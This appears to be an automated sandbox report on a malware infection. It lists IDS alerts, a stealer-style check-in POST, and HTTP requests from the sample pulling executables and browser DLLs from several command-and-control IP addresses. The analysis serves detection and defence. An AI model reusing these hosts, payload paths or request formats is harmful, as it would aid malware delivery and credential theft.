75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="hwid"B3664E8882872556134559------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="build"stok------EHCGIJDHDGDBGDGCGCFH--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 80.82.65.70 80.82.65.70

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49763 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49798 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49859 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49881 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49898 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49900 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49905 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49915 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49923 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49924 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49930 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49938 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49946 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49945 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49951 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49953 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49968 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49979 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49992 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49987 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50001 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50016 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50029 -> 104.21.16.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Documents\JKECGDBFCB.exe

Code function: 14_2_0051E0C0 recv,recv,recv,recv,

14_2_0051E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/This represents the number of days that we expect to enroll new users. Note that this property is only used during the analysis phase (not by the SDK) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Selects which parsing/delazification strategy should be used while parsing scripts off-main-thread. See DelazificationOption in CompileOptions.h for values.moz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/custom_functions.jshttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_off equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6AE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: )) OVER (PARTITION BY fixup_url(host)) > 0UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=en-US&feed_variant=default_spocs_off equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://pubads.g.doubleclick.net/gampad/ad--panel-banner-item-update-supported-bgcoloraddons-search-detection@mozilla.comresource://builtin-addons/search-detection/resource://search-extensions/google/://www.facebook.com/platform/impression.php*https://ads.stickyadstv.com/firefox-etpresource://search-extensions/amazondotcom/amazondotcom%40search.mozilla.org:1.6resource://search-extensions/wikipedia/blocklisted:FEATURE_FAILURE_PARSE_DRIVER equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3282517712.00000132BBD54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000003.3207024753.00000132C41C1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3311278425.00000132C41F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3302490357.00000132C2703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3279683763.00000132BB544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3304363170.00000132C3C88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3276641087.00000132BB450000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3276641087.00000132BB4D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3249141559.00000132B6A73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
